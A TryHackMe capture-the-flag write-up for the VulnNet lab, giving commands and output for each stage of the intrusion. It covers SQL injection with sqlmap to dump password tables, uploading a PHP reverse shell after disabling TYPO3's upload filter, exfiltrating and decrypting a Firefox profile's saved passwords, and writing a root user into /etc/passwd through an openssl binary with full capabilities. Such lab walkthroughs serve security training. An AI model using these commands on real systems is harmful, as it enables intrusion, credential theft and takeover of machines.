VOOZH about

URL: https://dev.to/exploitnotes/vulnnet-tryhackme-writeup-pp4

⇱ VulnNet - TryHackMe Writeup - DEV Community


Difficulty: Medium


Reconnaissance

Port Scan

nmap -sCV -A <MACHINE-IP> -oA nmap-VulnNet

Two open ports:

Port Service
22 OpenSSH 7.6p1 (Ubuntu)
80 Apache 2.4.29

The HTTP root served a "coming soon" countdown page for VulnNet Entertainment.

Added the target to /etc/hosts:

echo '<MACHINE-IP> vulnnet.thm' | tee -a /etc/hosts

Virtual Host Enumeration

The main domain revealed nothing interesting, so vhosts were fuzzed:

ffuf -u http://vulnnet.thm \
 -H "HOST: FUZZ.vulnnet.thm" \
 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

Four subdomains discovered:

Subdomain Notes
api.vulnnet.thm Returns VulnNet API is up!
blog.vulnnet.thm Public blog site
shop.vulnnet.thm Shop frontend
admin1.vulnnet.thm Redirects to TYPO3 CMS login

All four were added to /etc/hosts:

echo '<MACHINE-IP> api.vulnnet.thm blog.vulnnet.thm shop.vulnnet.thm admin1.vulnnet.thm' | tee -a /etc/hosts

SQL Injection → Credentials

Discovering the Injection Point

Visiting http://api.vulnnet.thm confirmed the API was live. Opening the blog at http://blog.vulnnet.thm/post1.php and inspecting via browser DevTools (Network tab) revealed the API call being made in the background — also visible in the page source:

GET http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1

Manual testing confirmed SQL injection on the blog parameter:

http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=99 or 1=1

Response:

{"request_id":"99 or 1=1","blog_id":"1","titles":"Windows Search Vulnerability Can be Abused to Deliver","status":"posted"}

The query returned a valid blog entry despite the invalid ID, confirming the injection.

Automated Extraction with sqlmap

Three injection types were confirmed (boolean-based blind, time-based blind, UNION):

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
 -p blog --dbs --batch

Databases found: blog, information_schema, vn_admin.

Dumping the TYPO3 admin table (vn_admin):

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
 --batch -D vn_admin -T be_users -C username,password --dump

Result:

username password hash
chris_w $argon2i$v=19$m=65536,t=16,p=2$UnlVSEgyMUFnYnJXNXlXdg$j6z3IshmjsN+CwhciRECV2NArQwipqQMIBtYufyM4Rg

Dumping the blog users table (blog.users) for a password wordlist:

First, enumerate the columns:

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
 --batch -D blog -T users --columns
Database: blog
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+

Then dump the credentials:

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
 --batch -D blog -T users -C username,password --dump

This returned 651 plaintext username/password pairs. The passwords were extracted and saved as a custom wordlist for cracking the admin hash.

Hash Cracking

The Argon2i hash was cracked using the dumped blog passwords as a wordlist:

john hash.txt --wordlist=clean_passwords.txt

Cracked password: REDACTED


Initial Access — TYPO3 RCE via File Upload

Login to TYPO3

Logged into http://admin1.vulnnet.thm/typo3 as chris_w with the cracked password. TYPO3 CMS version 10.3.0 was confirmed.

Bypassing the File Upload Restriction

The File module (Filelist) allowed file uploads but blocked PHP extensions by default via the [BE][fileDenyPattern] setting.

To remove this restriction:

  1. Navigate to Admin Tools → Settings → Configure Installation-Wide Options
  2. Search for filedeny in the filter
  3. Clear the [BE][fileDenyPattern] field
  4. Click Write configuration

Uploading the Web Shell

A PHP reverse shell (pentestmonkey) was saved as shell.php, with $ip set to <YOUR-IP> and $port set to the desired listener port, then uploaded to fileadmin/ → user_upload/ via the upload button in the Filelist module.

The shell was triggered by visiting:

http://admin1.vulnnet.thm/fileadmin/user_upload/shell.php

A reverse connection was received as www-data.


Lateral Movement — Firefox Credential Extraction

Identifying a Readable Profile Directory

ls -la /home/system/

The .mozilla directory was world-readable. It was archived and exfiltrated:

zip /tmp/mozilla.zip .mozilla/ -r
python3 -m http.server 8000
# On attacker:
wget http://<MACHINE-IP>:8000/mozilla.zip

Selecting the Correct Firefox Profile

Three profiles were present under .mozilla/firefox/:

Profile directory Contents Usable?
2o9vd4oi.default Only times.json No — empty profile
8mk7ix79.default-release key4.db but no logins.json No — keys without credentials
2fjnrwth.default-release key4.db + logins.json Yes

Firefox requires both key4.db (NSS encryption keys) and logins.json (encrypted saved credentials) to decrypt stored passwords. The first two profiles failed with either "Couldn't initialize NSS" or "Couldn't find credentials file" errors. The third profile contained both files.

Decrypting Saved Passwords

python3 firefox_decrypt.py \
 /home/kali/tryhackme/easy/dir/.mozilla/firefox/2fjnrwth.default-release

Output:

Website: https://tryhackme.com
Username: 'chris_w@vulnnet.thm'
Password: 'REDACTED'

SSH as system

/etc/passwd confirmed a system user with a bash shell. The recovered password worked:

ssh system@vulnnet.thm
# Password: REDACTED

User flag: REDACTED


Privilege Escalation — OpenSSL =ep Capability Abuse

Discovering the Capability

LinPEAS flagged a custom OpenSSL binary with the =ep (all effective + permitted) capability:

/home/system/Utils/openssl =ep

=ep grants every capability to the binary — effectively making it run with full privileges without being SUID root.

Reading and Writing Protected Files

The capability allowed reading any file:

/home/system/Utils/openssl enc -in /etc/passwd

And writing to any file, including root-owned ones:

echo 'test' | /home/system/Utils/openssl enc -out /root/test

Adding a Root User to /etc/passwd

A new password hash was generated:

openssl passwd -1 pass123
# Output: $1$/8yPRAnx$Ip5PtsMgCo0q8r/AroK4u1

A malicious /etc/passwd entry was constructed and written:

# Create the new user line
echo 'pwn:$1$/8yPRAnx$Ip5PtsMgCo0q8r/AroK4u1:0:0:root:/root:/bin/bash' > /tmp/rootuser

# Copy current passwd to /tmp
/home/system/Utils/openssl enc -in /etc/passwd -out /tmp/passwd

# Append new user
cat /tmp/rootuser >> /tmp/passwd

# Overwrite /etc/passwd with the modified version
/home/system/Utils/openssl enc -in /tmp/passwd -out /etc/passwd

Created user credentials:

Field Value
Username pwn
Password pass123

Switching to Root

su pwn
# Password: pass123

Shell obtained as root.

Root flag: REDACTED


Attack Chain Summary

SQL Injection (api.vulnnet.thm)
 ↓
 Dump vn_admin.be_users → chris_w hash
 ↓
 Crack Argon2i hash using blog user passwords as wordlist
 ↓
 Login to TYPO3 CMS (admin1.vulnnet.thm)
 ↓
 Bypass fileDenyPattern → Upload PHP reverse shell
 ↓
 RCE as www-data
 ↓
 Exfiltrate .mozilla Firefox profile
 ↓
 Decrypt saved password from 2fjnrwth.default-release profile
 ↓
 SSH as system → user.txt
 ↓
 Abuse openssl =ep capability → Overwrite /etc/passwd
 ↓
 su to pwn (pass123) → root.txt